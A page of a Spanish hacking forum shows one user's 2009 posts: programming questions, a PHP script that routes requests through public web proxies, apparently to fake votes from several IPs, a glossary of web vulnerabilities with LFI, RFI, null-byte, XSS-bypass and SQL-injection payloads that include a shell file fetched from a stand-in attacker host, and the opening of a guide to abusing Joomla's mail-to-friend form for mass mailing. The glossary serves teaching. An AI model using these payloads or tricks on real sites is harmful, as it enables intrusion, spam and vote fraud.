elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42
331  Programación / Programación Visual Basic / Desconectar IP en: 21 Septiembre 2009, 02:21 am
Estaba haciendo un sistema en vb6 donde te muestra algunas conexiones tcp y me gustaría implementar una opción que pueda desconectar dicha ip, como podría hacerlo o crear como un tipo de baneo?
por ejemplo agregar una ip a una lista y que esa ip no pueda conectarse al host  :huh:
332  Programación / Programación Visual Basic / que hace Mod en vb6? en: 16 Septiembre 2009, 01:18 am
estaba observando unas funciones de un código de vb6 y queria pasarlo a php pero hay cosas que no entiendo bien como por ejemplo esto:
Código
  1. Chr(Len(pck) Mod 256)

crh  convierte decimales a string y len es el tamaño del string de pck pero mod 256? que hace mod? le da limite o le hace alguna operación aritmética?
333  Foros Generales / Sugerencias y dudas sobre el Foro / Cumpleaños de el-brujo en: 3 Septiembre 2009, 17:52 pm
Como se ve en su perfil, un trozo de torta con una vela



estáaaaaaaa de cumpleañoooooooosssssss!!!!!!!!!
FELICIDADESSS JODERRR!!!!!!





Y ojala que pasemos del 2012 para que cumplas muchos mas xDDD
334  Programación / PHP / Utilizando múltiples WebProxys para conexiones remotas en: 26 Agosto 2009, 03:39 am
Me tardé medio dia completo pero lo terminé, es un script que puede utilizar multitudes de proxys para conectarse a un mismo sitio o los que quieras.
Utiliza Curl asi que debes tenerlo activado... igual pude haberlo hecho en sockets pero quise hacerlo mas rápido.

Código
  1. <?php
  2. /*
  3. ProxyWEB 1.0 by WHK
  4. Nice Multidimensionals Arrays
  5. */
  6.  
  7. // Prueba de uso [Inicio]
  8. $conecta = array(
  9. 'url' => 'http:// mi servidor local de pruebas',
  10. );
  11.  
  12. echo 'Iniciando ...<br />';
  13. for($cuenta = 1; $cuenta < 5; $cuenta++){
  14. $conecta['proxy_id'] = $cuenta;
  15. if(http_proxy($conecta))
  16.  echo 'conexión enviada!<br />';
  17. else
  18.  echo 'Imposible conectar!<br />';
  19. }
  20. echo 'Terminado!';
  21. // Prueba de uso [Final]
  22.  
  23. /* Proxy */
  24. function http_proxy($array_data){
  25. /*
  26.  Dimensión del array $array_data
  27.  ---------
  28.   url
  29.   post_data = false
  30.   referer = false
  31.   cookies = false
  32.   user_agent = false
  33.   seguir = false
  34.   return_header = true
  35.   proxy_id = false
  36.  
  37.   proxy_id
  38.   --------
  39.   1 = anonymouse.org
  40.   2 = unblocker.in
  41.   3 = unblocksiteproxy.info
  42.   4 = tunnelcafe.com
  43.   5 = unblockfacebook.mobi
  44.  */
  45. if(!$array_data['url'])
  46.  return false; /* No hay URL */
  47.  
  48. if($array_data['proxy_id'] == '1'){
  49.  /* Anonymouse.org */
  50.  $array_data['url'] = 'http://anonymouse.org/cgi-bin/anon-www.cgi/'.$array_data['url'];
  51.  return http_req($array_data);
  52. }elseif($array_data['proxy_id'] == '2'){
  53.  /* unblocker.in */
  54.  $array_data['proxy_server'] = 'www.femalethick.cn';
  55.  $array_data['metodo_proxy'] = '1';
  56.  return metodo_proxy($array_data);
  57. }elseif($array_data['proxy_id'] == '3'){
  58.  /* unblocksiteproxy.info */
  59.  $array_data['proxy_server'] = 'www.unblocksiteproxy.info';
  60.  $array_data['metodo_proxy'] = '1';
  61.  return metodo_proxy($array_data);
  62. }elseif($array_data['proxy_id'] == '4'){
  63.  /* tunnelcafe.com */
  64.  $array_data['proxy_server'] = 'www.tunnelcafe.com';
  65.  $array_data['metodo_proxy'] = '1';
  66.  return metodo_proxy($array_data);
  67. }elseif($array_data['proxy_id'] == '5'){
  68.  /* unblockfacebook.mobi */
  69.  $array_data['proxy_server'] = 'www.unblockfacebook.mobi';
  70.  $array_data['metodo_proxy'] = '2';
  71.  return metodo_proxy($array_data);
  72. }
  73. }
  74.  
  75. function metodo_proxy($array_data){
  76. if($array_data['metodo_proxy'] == '1'){
  77.  /* Obtiene la cookie Anti-HotLink para realizar el Bypass */
  78.  $array_data['url_real'] = $array_data['url'];
  79.  $proxy = array(
  80.   'url' => 'http://'.$array_data['proxy_server'].'/index.php',
  81.   'seguir' => true,
  82.   'return_header' => true
  83.  );
  84.  if(!$cookie = http_req($proxy))
  85.   return false; /* El servidor proxy no responde */
  86.  if(!$cookie = desde_hasta('Cookie: ', '<br', nl2br($cookie)))
  87.   return false; /* No hay cookie de auitentificación */
  88.  if(eregi(';', $cookie)){ /* Separa las variables de las cookies */
  89.   $cookie = explode(';', $cookie);
  90.   $cookie = $cookie[0];
  91.  }
  92.  $array_data['url'] = 'http://'.$array_data['proxy_server'].'/includes/process.php?action=update';
  93.  $array_data['seguir'] = true;
  94.  $array_data['cookies'] = $cookie; /* HotLink Bypass */
  95.  $array_data['post_data'] = 'u='.urlencode($array_data['url_real']).'&allowCookies=on';
  96.  $array_data['referer'] = 'http://'.$array_data['proxy_server'].'/'; /* Anti-Lecher Bypass */
  97.  return http_req($array_data);
  98.  
  99. }elseif($array_data['metodo_proxy'] == '2'){
  100.  $buffer = http_req(array('url' => 'http://www.unblockfacebook.mobi/index.php'));
  101.  $buffer = desde_hasta('<div id="form">', '</div>', $buffer);
  102.  $buffer = '%0n'.desde_hasta('\'%0n', '%0n\'', $buffer).'%0n';
  103.  $buffer = decode_unblockfacebook($buffer);
  104.  $array_data['url_original'] = $array_data['url'];
  105.  if(!$array_data['url'] = desde_hasta('<form name="login" action="', '" method', $buffer))
  106.   return false; /* No hay URL de formulario o hubo una mala codificación. */
  107.  $array_data['url'] = 'http://www.unblockfacebook.mobi'.$array_data['url'];
  108.  $array_data['post_data'] = 'username='.urlencode($array_data['url_original']).'&r4=+checked&rs=on&fa=&br=on&if=+checked';
  109.  $array_data['seguir'] = true;
  110.  $array_data['referer'] = 'http://www.unblockfacebook.mobi/'; /* Anti-Lecher Bypass */
  111.  return http_req($array_data);
  112. }
  113. }
  114.  
  115. /* conexión */
  116. function http_req($array_data){
  117. /* Crea el manipulador con la conexión */
  118. $handle = curl_init($array_data['url']);
  119. /* PostData */
  120. if($array_data['post_data']){
  121.  curl_setopt($handle, CURLOPT_POST, true);
  122.  curl_setopt($handle, CURLOPT_POSTFIELDS, $array_data['post_data']);
  123. }else{
  124.  curl_setopt($handle, CURLOPT_POST, false);
  125. }
  126. /* User-Agent */
  127. if($array_data['user_agent'])
  128.  curl_setopt($handle, CURLOPT_USERAGENT, $array_data['user_agent']);
  129. else{
  130.  /* Le hacemos publicidad a GNU */
  131.  curl_setopt($handle, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/'.time().' Ubuntu/9.25 (jaunty) Firefox/3.8');
  132. }
  133. /* Referencia */  
  134. if($array_data['referer'])
  135.  curl_setopt($handle, CURLOPT_REFERER, $array_data['referer']);
  136. /* Retorna contenido siempre */
  137. curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
  138. /* Sigue los estados 302 de redireccionamiento */
  139. if($array_data['seguir'])
  140.  curl_setopt($handle, CURLOPT_FOLLOWLOCATION, true);
  141. else
  142.  curl_setopt($handle, CURLOPT_FOLLOWLOCATION, false);
  143. /* Tiempo de espera entre conexión */
  144. curl_setopt($handle, CURLOPT_TIMEOUT, 100);
  145. /* Retorna cabezeras del servidor */
  146. if($array_data['return_header'])
  147.  curl_setopt($handle, CURLOPT_HEADER, true);
  148. /* Envía Cookies */
  149. if($array_data['cookies'])
  150.  curl_setopt($handle, CURLOPT_COOKIE, $array_data['cookies']);
  151. /* Retornos con estados y buffer de respuesta del servidor */
  152. $array_data['contenido'] = curl_exec($handle);
  153. $array_data['error'] = curl_error($handle);
  154. curl_close($handle);
  155. /* Finaliza el retorno */
  156. return $array_data['contenido'];
  157. }
  158.  
  159. function desde_hasta($desde, $hasta, $contenido, $cantidad = false, $retornar_todo = false){
  160. if(eregi($desde ,$contenido)){
  161.  $retorno = explode($desde, $contenido);
  162.  foreach($retorno as $compara){
  163.   $compara = explode($hasta, $compara);
  164.   if($compara = $compara[0])
  165.    $retorna[] = $compara;
  166.   unset($compara);
  167.  }
  168.  if($retornar_todo){
  169.   unset($retorna[0]);
  170.   return $retorna;
  171.  }
  172.  if(is_numeric($cantidad)){
  173.   $retorno = $retorna[$cantidad];
  174.  }else{
  175.   $retorno = $retorna[1];
  176.  }
  177.  return $retorno;
  178. }else{
  179.  return false;
  180. }
  181. }
  182.  
  183. function left($buffer, $length){
  184. return substr($buffer, 0, (int)$length);
  185. }
  186.  
  187. function right($buffer, $length){
  188. return substr($buffer, (int)(-$length));
  189. }
  190.  
  191. function decode_unblockfacebook($buffer){
  192. if(strlen($buffer) > 0){
  193.  for($ctr = 0; $ctr < strlen($buffer) ; $ctr++){
  194.   $b = ord($buffer[$ctr]);
  195.   if((($b > 64) && ($b < 78)) || (($b > 96) && ($b < 110))){
  196.    $b = $b + 13;
  197.   }else{
  198.    if((($b > 77) && ($b < 91)) || (($b > 109) && ($b < 123))){
  199.     $b = $b - 13;
  200.    }
  201.   }
  202.   $t .= chr($b);
  203.  }
  204. }
  205. return urldecode($t);
  206. }
  207. ?>

Resultado:

4 peticiones desde diferentes ips.
vota por 4 en meneame xD
335  Foros Generales / Sugerencias y dudas sobre el Foro / que me debuelvan el puntaje! en: 21 Agosto 2009, 02:46 am
no puede serr!!!!!

ya encontraba extraño que me dieran a adivinar una palabra de un solo carácter y me sale con undefined como respuesta >:(

quiero mi puntaje devueltaaaaaaa!!!!
336  Seguridad Informática / Nivel Web / Diccionario informático sobre Bugs y Exploits en nivel WEB V1.0 en: 12 Agosto 2009, 08:58 am
¿Como buscar una palabra?
R: en tu explorador vas al menú buscar y pones parte o toda la palabra que desees. Recuerda poner los acentos correspondientes en el caso que sea una palabra en español.

Diccionario informático sobre Bugs y Exploits en nivel WEB V1.0
Diccionario "a prueba de" realizado para que todo ser humano que tenga por lo menos con un ojo bueno y un cerebro pueda entender cada palabra sin tener conocimientos previos relacionados con la seguridad informática.

Nota: Recordar que esto es solo un diccionario de definiciones por lo cual no se mostrarán demasiados detalles porque no es una enciclopedia ni nada por el estilo, para eso ver los enlaces relacionados de cada item.
Para mas información vease:
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_71009-t244090.0.html
Si tienes alguna sugerencia o algo que opinar sobre el diccionario puedes hacerlo desde este enlace:
http://foro.elhacker.net/nivel_web/nuevo_diccionario_de_bugs_y_exploits_en_nivel-t270629.0.html


Bug
Bug en español significa bicho y por lo general se refiere a un error de programación donde el software actúa de forma inapropiada o inesperada.
En el caso de sitios WEBs un bug se refiere a una falla en el código que no necesariamente puede ser una vulnerabilidad sino mas bién una reacción inesperada.

Ejemplos de Bugs:


Vulnerabilidad
La palabra no tiene mayor explicación ya que queda claro que es una vulnerabilidad pero lo que si hay que dejar en claro primeramente que un bug puede ser vulnerabilidad como puede que no lo sea, también que algunos le llaman "Feature"´aunque una feature en inglés significa ventaja o característica extra del mismo sistema dando a decir que no es un bug sino que el comportamiento del sistema es normal y así fue diseñado para ventaja del programador externo, visitantes, etc, solo es vulneranilidad cuando no estaba contemplado por el programador. Esto también se aplica en Bugs.
Por lo general un programador que se le pide una explicación por una vulnerabilidad en un sistema propio dice: "this is not a bug, is a feature", aunque también lo dicen las personas que pueden sacarle provecho manualmente o con exploits (exploit no es un xploit, Vease Exploit).


Bugtraq
Lugar donde se listan bugs de sistemas informáticos. Antiguamente conocido como listas de correos pero actualmente también pueden leerse en linea sin la necesidad de una suscripción.

Ejemplos de Bugtraq:


Advisory
En español son avisos, por lo tanto si se habla de advisory en el ámbito de la informática por lo general se refiere a un comunicado o declaración de bugs.

Ejemplos de un advisories:


LFI
Conocido como "Local File Inclusion" o Inclusión de archivo local y se trata de una falla de programación donde se tiene la posibilidad de incluir archivos externos y ejecutarse. Por lo general esto sucede con lenguajes de programación WEB.
Para programadores:
Esto sucede cuando hacemos por ejemplo
Código
  1. <?php include('/home/web/www/'.$_GET['sección'].'.php'); ?>
entonces cuando yo ejecuto test.php?sección=noticias en realidad el include queda de la siguiente forma:
Código
  1. <?php include('/home/web/www/noticias.php'); ?>
¿porqué es una vulnerabilidad?: porque un atacante puede hacer inclusión de un archivo de forma local como por ejemplo esta:
test.php?sección=../../../../../../../etc/passwd%00
(Vease Null Bite Atack) por lo cual quedará de la siguiente forma:
Código
  1. <?php include('/home/web/www/../../../../../../../etc/passwd\0.php'); ?>
entonces el null bite limita el string de inclusión hasta la palabra passwd solamente haciendo incluir de forma local el archivo de passwords de sesiones del sistema (en otros puede ser SAM o shadow), en otros casos el atacante puede inyectar comandos arbitrarios dentro del log de accesos y hacerle una inclusión para su posterior ejecución comprometiendo el servidor.
En otros casos la inclusión no lleva a la ejecución, en ese caso no se trata de un LFI sino de un File Disclosure (Vease file disclosure)


RFI
Es igual al LFI (Vease primeramente LFI antes de continuar) con la diferencia de que la inclusión del script puede ser de forma remota, por ejemplo:
Código
  1. <?php include($_GET['sección'].'.php'); ?>
Entonces test.php?sección=votar sería:
Código
  1. <?php include('votar.php'); ?>
Pero como se trata mas bién de una vulnerabilidad devido a que un atacante puede modificar dicha variable y hacer referencia a un archivo externo como por ejemplo test.php?sección=http://www.atacante.com/shell.txt?x=
por lo tanto el script quedaría:
Código
  1. <?php include('http://www.atacante.com/shell.txt?x=.php'); ?>
y como la petición de dicho texto está alojado en un servidor WEB la variable invalida la terminación .php. También existen algunas formas de evadir sistemas de protección donde solo restringen la palabra "http" pero desde otros protocolos también es posible incluyendo filesize() de php como lo es el protocolo "ftp" ya que php lo procesa como archivo sólido y no archivo WEB (Vease Bypass).


XSS
Un XSS es una Vulnerabildad WEB llamada "Cross Site Scripting" pero entonces porqué se llama XSS y no CSS?, para no confundir CSS que significa "Cascading Style Sheets" que es un lenguaje de estilo proporcionado para html como por ejemplo "style.css" en el cual va la informacion de estilo html y xhtml.

Normalmente confundido con la palabra "Inyección HTML" debido a que se trata de incorporar un código interpretado dentro de un sitio WEB para que este se ejecute.
Por ejemplo tenemos un chat público donde podemos escribir mensajes y ver como nos pueden leer, imaginemos que podemos escribir el mensaje <h1>hola a todos</h1> entonces si los demás participantes pueden leer tu código HTML sería XSS siempre y cuando este código puede de alguna forma comprometer la seguridad del sitio o de algún usuario, si no entonces no es XSS.

Un ejemplo sería dejar código ‭‬‭‬‭‬‭‬‭‬‭‬‭‬javascript para que el explorador del visitante envíe su cookie de sesión hasta un servidor externo para luego ser recuperado y hacer robo de la sesión.

XSS es una vulnerabilidad antiguamente de "baja" importancia, hoy en dia es de importancia "media" en relación a la seguridad de un sitio WEB aunque este tipo de fallas puede ocacionar nada como tabién comprometer toda una red de servidores dependiendo del sistema y los conocimientos del usuario de Administración.
También mal conocido como "Inyección HTML" ya que un XSS no siempre es generado via código HTML.

Algunos sitios WEBs guardan historiales de sitios webs con este tipo de vulnerabilidad.

Enlaces de ayuda:


XSS Reflejado
(Lease primero la definición de XSS) Es un tipo de vulnerabilidad WEB XSS con la característica de que solamente se visualiza el código inyectado en e sitio web si la modificas en el momento, eso quiere decir que luego de ejecutar el xss intentas ver el mismo sitio no deberías ver el código inyectado.

Enlaces de ayuda:


XSS Persistente
(Lease primero la definición de XSS) Es un tipo de vulnerabilidad WEB XSS con la característica de que cuando haces la inyección en el código este persevera aún saliendo del sitio web, eso quiere decir que yo puedo entrar y dejar un XSS en el sitio web y cualquiera que entre podrá verla sin la necesidad de recibir un ataque indirecto o la necesidad de un tercer involucrado.

Enlaces de ayuda:


CSRF
CSRF son las siglas de la palabra Cross Site Request Forgery y es una falla de programación WEB donde se pueden ejecutar acciones de forma arbitraria.

Por ejemplo supongamos que estamos en un foro y en ese foro hay un botón para salir de tu sesión y ese botón da un enlace hacia http://foro.com/salir , entonces cualquier persona que te redirija hacia ese enlace hará que tu sesión termine de forma arbitraria ya que fue hecho sin tu consentimiento, de esta forma el atacante de ese foro puede crear un post donde tu no podrías responderle ya que al intentar hacerlo el introducirá un enlace de tipo imagen hacia http://foro.com/salir y cuando intentes responder el foro dirá que no tienes una sesión en el foro.

Este tipo de vulnerabilidad se puede solucionar agregando in identificador único a una acción, por ejemplo una serie de carácteres llamados token donde cada usuario tiene su propio token de forma oculta, entonces cuando necesites salir dirá http://foro.com/salir&token=fyr3ry78g y si el atacante no conoce ese token no podra hacer que se ejecute esa acción de forma arbitraria.

Enlaces de ayuda:


XSRF
Sinónimo de CSRF (Vease CSRF) con la diferencia de anteponer X en ves de C debido a que se atribuye la X a la palabra "Cross" y evitar la confusión que se producía con las siglas XSS (Vease XSS).


Null Bite Attack
El carácter nulo se usa en muchas ocasiones. Como el carácter nulo determina el término de un string puede ser utilizado en fallas de programación WEB, por ejemplo algunas funciones de php tales como include() puedes decirle que un string termine en carácter nulo, por ejemplo
Código
  1. <?php include('test/archivo.php%00basuraetcetc'); ?>

Incluirá solamente hasta archivo.php ya que le corté el string en %00, ahora %00 es un carácter nulo en formato urlencode, o sea que puedo pasarlo en una petición GET o POST pero si quisiera testearlo directamente en el archivo tendría que hacer esto:
Código
  1. <?php include('test/archivo.php'."\x00".'basuraetcetc'); ?>

Ahora, esto le puede servir a un atacante para hacer LFI (Local file inclusion).
Supongamos este caso:
Código
  1. <?php include('secciones/'.$_GET['pagina'].'.php'); ?>

Entonces yo podría decir test.php?pagina=contacto y la inclusión quedaría
Código
  1. <?php include('secciones/contacto.php'); ?>

Pero si le pongo un carácter nulo para que corte el string quedaría así:
test.php?archivo=../../../../../../../../../../etc/passwd%00
Código
  1. <?php include('secciones/../../../../../../../../../../etc/passwd%00.php'); ?>

por lo tanto me devolverá el archivo de sesiones de usuarios de ese servidor.

Enlaces de ayuda:


Disclosure
Disclosure es español significa el "Descubrimiento" de algo, pero en el caso de una definición de seguridad WEB se traduce en el descubrimiento de datos de forma arbitraria (Vease Arbitrario), por ejemplo en PHP o JSP si un sistema WEB no tiene una buena programación puede causar que se vean cosas como estas:
Citar
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in C:\wamp\www\test.php on line 2

aunque este mensaje no nos dice mucho del sitio WEB si lo hace el escape de información ya que nos indica en que lugar está alojado el archivo, en este caso está en "c:\wampp\www\" por lo tanto un atacante podrá saber mejor como realizar un futuro ataque.

Ejemplos de Disclosure:

Enlaces de ayuda:


Path disclosure
Es el descubrimiento de uno o mas directorios debido a una falla de programación WEB (Vease Disclosure)


Full path disclosure
Cuando es Full path disclosure significa que se pueden descubrir todos los directorios del sitio WEB afectado (Vease Path Disclosure).


File disclosure
Quiere decir que se pueden descubrir los contenidos de archivos dentro del servidor WEB a diferencia del Path disclosure que solamente puede descubrir directorios (Vease Disclosure).


Inyección SQL
Yambién llamado como SQL Inyection y SQLI.
Para poder entender un poco el significado de inyección SQL primeramente debes saber por lo menos que significa SQL (Vease MySQL y MSSQL).
Generalmente una base de datos es un grupo de información guardada en un Servidor y este recibe instrucciones de lo que debe hacer y aquellas instrucciones las da el sistema WEB que en este caso es la página WEB.

Por ejemplo el sitio web WEB le dice al servidor de la base de datos:
Citar
Guarda "pedro" en el listado de nombres

Entonces cuando te creas una cuenta donde dice tu nombre puedes ponerle otras instrucciones, por ejemplo en ves de poner "pedro" le pondré "pedro y digame cual es la contraseña del administrador", entonces la consulta que le hace el servidor WEB a la base de datos es esta:
Citar
Guarda pedro y digame cual es la contraseña del administrador en el listado de nombres

Por lo tanto hacemos consultas arbitrarias.

Para programadores cuando tienes una consulta de este tipo:
Código
  1. SELECT * FROM users WHERE USER = '$user' AND pass = '$pass'
Yo puedo poner de nick lo que sea y en pass pongo
Citar
' union select 1,2 where id_user = '1
Por lo tanto primero valido la primera query y sin romperla hago un segundo select con union escribiendo la cantidad de columnas a retornar donde el id de usuario es uno o sea por defecto en casi todos los sistemas webs "el administrador".


Blind Inyección SQL
Vease primeramente "Inyección SQL".
También conocido como Inyección Ciega o Inyección a Ciegas.
Se trata de una vulnerabilidad en un sistema que puede ser WEB en el cual no ves ningún dato debuelto por dicha inyección, por lo tanto no ves tablas, columnas, nada y se hace sabiendo que se está ejecutando.
Un ejemplo práctico sería una inyección de este tipo:
Código
  1. test.php?id=-1' and substring(@@versión,1,1)='4
En este caso logramos saber la versión de la base de datos MySQL sin que nos debuelva ningún tipo de información pero si podemos ver si se ejecuta o no.

Enlaces de ayuda:


Inyección MSSQL Concateada
Vulnerabilidad de tipo Inyección SQL (Vease inyección SQL) que es posible llevarse a cabo devido a una falla de programación en el servidor de MS ISS (Microsoft Internet Services) la cual consiste en lo siguiente:
Citar
test.php?id=1&id=2
Normalmente en Apache esto se interpreta como una sola variable tomando como válida la última y desechando las anteriores, o sea que id vale "2" pero esto no sucede así en ISS:
Citar
test.aspx?id=1&id=2
el servidor interpretará los dos valores y para enviarlos al script final concateará ambas variables, o sea que id será "1,2".
Esta vulnerabilidad puede ser aprobechada para evdadir sistemas de protección concateando strings filtrados o devolviendo valores extras.


CMS
Content Management System o en español sistema de administración de contenido.
Son sistemas WEBs dinámicos capaces de gestionar diferentes tipos de contenidos de forma automatizada. Algunos de estos sistemas dinámicos pueden ser:
Simple Machines Forum, Joomla, Moodle, Wordpress, PHP-Nuke, E-107, VBulletín, IPBoard, etc.

Enlaces descriptivos:


Código PHP
Es un lenguaje de programación que se utiliza para construir sitios webs automatizados e interactivos.
Antiguamente era utilizado CGI como lenguaje común basado en Perl que interactúa con servidores WEB.
Hoy los lenguajes mas utilizados para sitios webs dinámicos son PHP, .NET (Framework de Microsoft), CGI/Perl y Python pero entre todos ellos el mas utilizado es PHP.

Para crear nuestri primer ejemplo en php se necesita un servidor (no el físico) y el mas utilizado es "Apache" ya que php solamente es un interprete de código que puede ser utilizado en sitios webs como también via consola directamente como interprete scripting.
Apache contiene una extensión que hace interactuar PHP con el mismo, de esta forma nosotros podemos decir http://servidor/archivo.extension?variable1=valor1 y apache interpretará esto y le enviará a PHP los valores de variables globales tales como $_GET y $_POST.

Enlaces relacionados:


Cookies
Antiguamente malconocidos como SpyWares porque se pensaba que solo servían para espiar o robar datos de una pc.

Una cookie es donde el servidor puede guardar información de cualquier tipo en tu explorador.

Algunos sitios webs utilizan esta información para saber quien eres y poder identificarte al momento de crear una sesión.

Las cookies las establece el servidor y el explorador solamente las administra y le entrega a cada sitio las cookies que le correspondan unicamente.

Por ejemplo si yo engro a foro.elhacker.net e ingreso con mi cuenta de usuario este creará una cookie en mi explorador que almacenará mis datos de acceso, de esta forma el servidor sabrá que yo soy WHK y no un visitante cualquiera, ahora esta cookie solamente se entregará al servidor de elhacker.net pero si yo voy a google.com no mostrará esta cookie ya que cada cookie tiene su servidor y ningún servidor puede obtener la cookie de otro, esto es privacidad de datos y seguridad.

Antiguamente las cookies en Internet explorer se basaban en una cookie por archivo txt, ahora en Firefox todas las cookies se almacenan en un mismo archivo sin perder su funcionalidad ya que el mismo firefox se encarga de administrarlas.

Si quieres saber cuales son tus cookies en un sitio web ve a el y pon esto en tu barra del explorador:
javascript:alert(document.cookie);

En Firefox tienes complementos que te permiten modificar dichas cookies y probar la seguridad de tu sitio web, por ejemplo Add N Edit Cookies
https://addons.mozilla.org/es-ES/firefox/addon/573

Actualmente para Internet explorer no se conoce ninguno debido a que sus complementos son de código cerrado.

Enlaces relacionados:


Código arbitrário
O tambien "Remote Execution".
Se refiere a la frase completa: Acción sobre el código de forma arbitrária y significa que se realiza una acción como puede ser una edición, ejecución, etc. De código significa que esto se efectúa sobre el código de programación (vease programación). Arbitrario significa que puede realizarse sin el consentimiento de la persona y también sin que se de cuenta.
Cuando se dice que es de forma remota significa que un atacante o individuo puede causar esta acción desde fuera de su propia red de conexión. Un ejemplo práctico sería yo como atacante hago que ejecutes una acción en tu pc, como es a distancia es remoto, en caso contrario sería de forma local.

Enlaces relacionados:


0-Day
Conocido también como "Zero-Day" o "Dia Cero"
Vulnerabilidad descubiera por primera ves sin tener ninguna solución oficial por parte del creador del sistema afectado. Por lo general un 0-day es una vulnerabilidad descubierta y publicada en el mismo dia aunque no siempre sucede.

Enlaces relacionados:


Desface
Conocido también como "Deface" pero mal escrito.
Se le dice de esta forma al ataque hacia un sitio web el cual consiste en la modificación deliverada de información probocado por una vulnerabilidad, bug, etc. Esta modificación es permanente ya que en caso contrario es declarado simplemente un XSS (Vease "XSS").

Enlaces de ejemplos:


Desfacing
Conocido también como "Defacing" pero mal escrito.
Acción de desfacear. Vease "Desface".


Bypass
Se le dice Bypass a un método que puede eludir algún tipo de sistema de protección, por ejemplo cuando se dice "Hacer Bypass al filtro anti XSS" Significa que hubo un sistema que estaba preparado para resistir ataques de tipo XSS pero por algún motivo devido a problemas de seguridad y/o de programación pudo ser eludido haciendo cuentas como que el sistema de protección no existiera.

Ejemplos prácticos:
Sistema de protección anti-XSS dice (Vease XSS) -->
Código
  1. <?php $palabra = str_replace('<script>','',$_GET['palabra']); echo $palabra; ?>
El atacante hace un Bypass -->
test.php?palabra=<sc<script>ript>alert(document.cookie);</script>
El sistema de protección borra la palabra de color rojo --->
<sc<script>ript>alert(document.cookie);</script>
Queda así -->
<script>alert(document.cookie);</script>

Son formas de eludir un sistema de protección para provocar una vulnerabilidad en el sistema independiente si pueda ser aprobechado o no.

Otro ejemplo:
Sistema de protección anti-RFI (Vease RFI):
Código
  1. <?php
  2. if(eregi('http://', $_GET['path'])){
  3. die('Esto es un ataque');
  4. }else{
  5. include($_GET['path'].'.php');
  6. }
  7. ?>
El atacante dice:
test.php?path=ftp://atacante.com/shell.txt?x=
Entonces el sistema hace un include de esta forma:
include('http://ftp://atacante.com/shell.txt?x=.php');
Pero como include realiza las conexiones via ftp y ftp necesita de un usuario y contraseña se lo deshabilitamos o habilitamos ftp anónimo o usamos un servidor local o si conoces el protocolo ftp puedes hacerlo hasta con netcat o utilizando sockets poniendolos a escucha para el que sepa programar.

Enlaces relacionados:


Exploit
Muchas veces mal confundido con "Xploit".
Un Xploit es un sistema que envía correos a otras personas para robarles sus datos personales engañandolos pidiendoles su propia contraseña.
Un exploit es sun Software, Script o cualquier cosa que pueda aprovechar una vulnerabilidad de cualquier tipo de sistema para provecho de algo o alguien.

Ejemplos de Exploits:


PoC
Significa en ingles "Proof Of Concept" o Prueba de concepto, el cual es muy similar a un Exploit (Vease Exploit antes de continuar) pero con la diferencia que un exploit está diseñado para aprovechar las vulnerabilidades en beneficio de algo o alguien y el PoC solo demuestra que realmente se puede comprobar que la vulnerabilidad o Bug existe.

Ejemplos de PoCs:


MySQL
Sistema de base de datos de código libre y gratuito con soporte en tanto para Linux como también para MS Windows.
Es un sistema que es capaz de gestionar información almacenada de forma interna en archivos y directorios, su organización es su fuerte y puede ser utilizado en sistemas webs como en sistemas ejecutables.
Por ejemplo si tengo un sitio web de música puedo administrar el contenido de todos mis tracks ordenados por asutor, fecha, hacer busquedas, eliminar, crear, etc.
Este sistema es utilizado comunmente en el lenguaje web llamado PHP que puede servir para la administración del contenido del sitio.

Enlaces relacionados:


MSSQL
Sistema de base de datos utilizado en servidores de MS Windows similar a MySQL (Vease MySQL) pero con una sintaxis de programación similar aunque no igual.
La diferencia mas notable al momento de observar un sitio web vulnerable a inyección SQL (Vease Inyección SQL) es que en MSSQL puedes ejecutar comandos directamente sobre la shell del Sistema Operativo haciendolo mas vulnerable a una intrusión por escalación de privilegios.

Enlaces relacionados:


Arbitrario
Si se dice que ocurrió una acción de forma arbitraria quiere decir que fue ejecutado sin el consentimiento de la persona que se afectó.
337  Seguridad Informática / Nivel Web / Utilizando Joomla 1.5 como servidor de correos masivos en: 28 Julio 2009, 02:35 am
Utilizando Joomla como servidor de correos masivos

Bueno, ya hace bastante tiempo habia hecho un post detallando varias fallas de joomla de las cuales casi todas fueron reparadas.

Con el tiempo le envié un correo al soporte para que pudieran reparar otras nuevas fallas pero nunca respondieron y nunca los repararon tampoco jajajaja, será que les digo las cosas y lo toman a la ligera no se.

La otra ves publiqué el xss en el buscador y no lo parcharon hasta que publiqué un video de como subir una shell c99 desde ese xss, entonces ahi si lo repararon.

Ahora como piensan que estos bugs no son àra nada comprometedores les mostraré como crear un software para utilizar cualquier sitio web con joomla como servidor de correos masivos pero ojo que no publicaré ningún software hecho para evitar que cualquiera haga de las suyas ya que causa un desmadre al servidor.

Detalles técnicos
La falla está en el componente "MailTo" alias el "com_mailto".
No se si han visto que en algunos sitios webs que funcionan con joomla tienen tres íconos al lado del encabezado del mensaje de la portada... uno que es para imprimir, exportar en pdf y otro para enviar el tema por correo a un amigo como tipo de recomendación.
El problema esque este componente no exige captcha (imagen de verificación) por lo cual una automatización sería técnicamente posible asi que manos a la obra...

Primero que nada cuando enviamos un mail nos encontramos con la siguiente cabezera:
Citar
POST / HTTP/1.1
Host: localhost
Referer: http://localhost/index.php?option=com_mailto&tmpl=component&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8
Connection: Close
Cookie: 587e9de7c92cfd61e9b49249c8c904ec=3vq6lpo7v4gpg3uutvgot954k7;
Content-Type: application/x-www-form-urlencoded
Content-Length: 954

mailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
